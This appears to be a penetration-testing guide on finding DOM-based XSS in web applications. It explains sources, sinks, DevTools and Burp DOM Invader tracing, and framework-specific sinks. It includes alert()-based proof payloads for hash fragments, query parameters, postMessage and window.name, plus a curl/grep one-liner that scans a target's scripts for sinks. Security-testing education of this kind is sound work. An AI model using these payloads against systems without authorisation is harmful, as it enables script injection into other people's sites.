Skip to content

DOM-Based XSS Checks

6 min read Created Sep 13, 2026 Last updated Sep 13, 2026

DOM-based XSS occurs entirely in the browser. User input flows from a JavaScript source (URL fragment, query parameter, referrer) into a dangerous sink (innerHTML, document.write, eval) without server-side processing. The injected payload never appears in the HTTP response body, which means server-side scanners, WAFs, and curl-based testing will not detect it. Discovery requires tracing data flow in the browser from source to sink. Confirmed DOM XSS moves to DOM-based XSS exploitation.

Identifying Sources

Sources are the entry points where attacker-controlled data enters client-side JavaScript. Any value that originates from the URL, referrer, or browser storage and is read by JavaScript is a potential source:

  • location.hash, location.search, location.href

  • document.referrer, document.URL

  • window.name

  • postMessage event data

  • localStorage and sessionStorage values (if populated from URL input elsewhere)

location.hash is the most common source in DOM XSS because the fragment is never sent to the server. Anything after the # stays in the browser, which means server-side logging and WAFs are completely blind to it. location.search is sent to the server but many SPAs read it client-side without server involvement.

Identifying Sinks

Sinks are the JavaScript functions or DOM properties that execute or render attacker-controlled data. If a source value reaches any of these without sanitization, DOM XSS is confirmed:

  • HTML rendering: innerHTML, outerHTML, document.write(), document.writeln()

  • Code execution: eval(), setTimeout() with string argument, setInterval() with string argument, Function() constructor

  • URL/resource assignment: element.src, element.href, location.href, location.assign()

  • jQuery sinks: $() selector with HTML input, $.html(), .append(), .prepend(), .after(), .before()

innerHTML is the most common sink. It parses the assigned string as HTML and executes event handlers on injected elements. eval() and Function() execute arbitrary code directly. jQuery's $() is dangerous when it receives user input that starts with < because jQuery treats it as HTML creation rather than a CSS selector.

Browser DevTools Approach

The Sources panel in Chrome or Firefox DevTools is the primary tool for tracing DOM XSS manually. The goal is to observe data flowing from a source into a sink at runtime.

Setting Breakpoints on Sinks

Open DevTools, go to the Sources panel, and search the page's JavaScript for known sink patterns. Set breakpoints on lines that call innerHTML, document.write(), or eval(). Then modify URL parameters or the hash fragment and reload. When a breakpoint hits, inspect the call stack and the value being passed to the sink.

Use the Console to quickly check if URL input reaches the DOM unprocessed:

// Check if the page reads the hash
monitorEvents(document, 'DOMSubtreeModified');
location.hash = 'DOMXSSTEST123';

DOM Breakpoints

Right-click any element in the Elements panel and select "Break on > subtree modifications". This pauses execution whenever the element's children change, letting you trace back to the JavaScript that modified it. Useful when you know which DOM element displays user input but cannot find the responsible code.

Search the entire page source for common sink patterns to find all potential injection points:

// Run in DevTools Console to find sinks in loaded scripts
var scripts = document.querySelectorAll('script');
var sinkPatterns = /innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\(|Function\(|\$\(|\.\.html\(/g;
scripts.forEach(function(s) {
  if (s.src) return;
  var matches = s.textContent.match(sinkPatterns);
  if (matches) console.log('Sinks found:', matches);
});

DOM Invader (Burp Suite)

DOM Invader is built into Burp Suite's embedded Chromium browser and automates source-to-sink tracing. It injects a canary string into all sources and monitors whether it reaches any sink.

Enable it by opening Burp's browser, clicking the DOM Invader extension icon, and toggling it on. The canary is injected automatically into URL parameters, the hash fragment, and other sources. When the canary reaches a sink, DOM Invader highlights it in the results panel with the full data flow trace.

Notice

DOM Invader is available in Burp Suite Community and Professional. It uses the built-in Chromium browser, not your system browser.

Key DOM Invader features for DOM XSS testing:

  • Canary injection: automatically inserts a tracking string into all identified sources

  • Sink logging: records every sink call with the value passed and the stack trace

  • postMessage interception: logs all postMessage events and lets you replay them with modified data

  • Prototype pollution scanning: detects property injection on Object.prototype that can lead to DOM XSS

Testing SPAs

Single-page applications handle routing entirely in the browser using hash-based or history-based routing. This creates DOM XSS opportunities that traditional crawlers miss because the page never reloads.

Hash-Based Routing

Frameworks like older Angular.js and some React configurations use the URL hash for routing (#/page/param). The hash value drives what content renders on the page. If the router or a component reads the hash and inserts it into the DOM unsanitized, DOM XSS occurs.

Test by appending payloads to the hash:

http://$TARGET_IP:$PORT/#/<img src=x onerror=alert(document.domain)>
http://$TARGET_IP:$PORT/#/search?q=<svg/onload=alert(document.domain)>

History API Routing

Modern SPAs use the History API (pushState/replaceState) for clean URLs without hashes. The application reads the path from location.pathname or location.search and renders content based on it. Test by navigating to paths with injected markup:

http://$TARGET_IP:$PORT/search/<img src=x onerror=alert(1)>
http://$TARGET_IP:$PORT/page?content=<svg/onload=alert(1)>

Framework-Specific Considerations

React: uses dangerouslySetInnerHTML as the explicit unsafe sink. Search the source for this property name. React escapes JSX interpolation by default, so DOM XSS typically requires either dangerouslySetInnerHTML or passing user input to href/src attributes with the javascript: protocol.

Angular: uses bypassSecurityTrustHtml() and similar bypass methods. Search for bypassSecurityTrust in the source. Angular's built-in sanitizer blocks most XSS, but the bypass functions disable it.

Vue: the v-html directive renders raw HTML without sanitization. Search the source for v-html bindings that use user-controlled data.

Manual Testing Payloads

These payloads target common DOM XSS patterns. Test each one by placing it in the URL hash, query parameters, and any other identified source.

Hash Fragment Payloads

These payloads never leave the browser, making them invisible to server-side logging:

http://$TARGET_IP:$PORT/page#<img src=x onerror=alert(document.domain)>
http://$TARGET_IP:$PORT/page#<svg/onload=alert(document.domain)>
http://$TARGET_IP:$PORT/page#"><svg/onload=alert(document.domain)>
http://$TARGET_IP:$PORT/page#javascript:alert(document.domain)

Search Parameter Payloads

Target applications that read query parameters client-side and insert them into the DOM:

http://$TARGET_IP:$PORT/search?q=<img src=x onerror=alert(document.domain)>
http://$TARGET_IP:$PORT/search?q="><script>alert(document.domain)</script>
http://$TARGET_IP:$PORT/search?q='-alert(document.domain)-'

postMessage Payloads

If the page listens for postMessage events and inserts received data into the DOM, open the browser console on the target page and send a message:

// Run in browser console while on the target page
window.postMessage('<img src=x onerror=alert(document.domain)>', '*');
window.postMessage('{"html":"<svg/onload=alert(document.domain)>"}', '*');

Check the page source for addEventListener('message', ...) to confirm it listens for postMessage events before testing. If the handler checks event.origin, note the allowed origins for the exploitation phase.

window.name Injection

window.name persists across navigations within the same tab. If the target page reads window.name and uses it in a sink, set it from a page you control before redirecting:

<script>
  window.name = '<img src=x onerror=alert(document.domain)>';
  location.href = 'http://$TARGET_IP:$PORT/vulnerable-page';
</script>

Grep for Sinks in JavaScript Files

Download all JavaScript files loaded by the target and search them for dangerous sink patterns. This identifies candidates before running any payloads:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/ | grep -oP 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do echo "=== $js ==="; curl -sk "http://$TARGET_IP:$PORT/$js" | grep -nE 'innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\(|Function\(|\.html\(|\.append\('; done
=== /static/js/app.js ===
142:    document.getElementById('results').innerHTML = data.html;
=== /static/js/search.js ===
38:    $('#output').html(response);

Each match is a potential sink. Trace back from the sink to see whether the value it receives originates from a source you control. A sink that only receives server-provided data with no attacker influence is not exploitable as DOM XSS.

References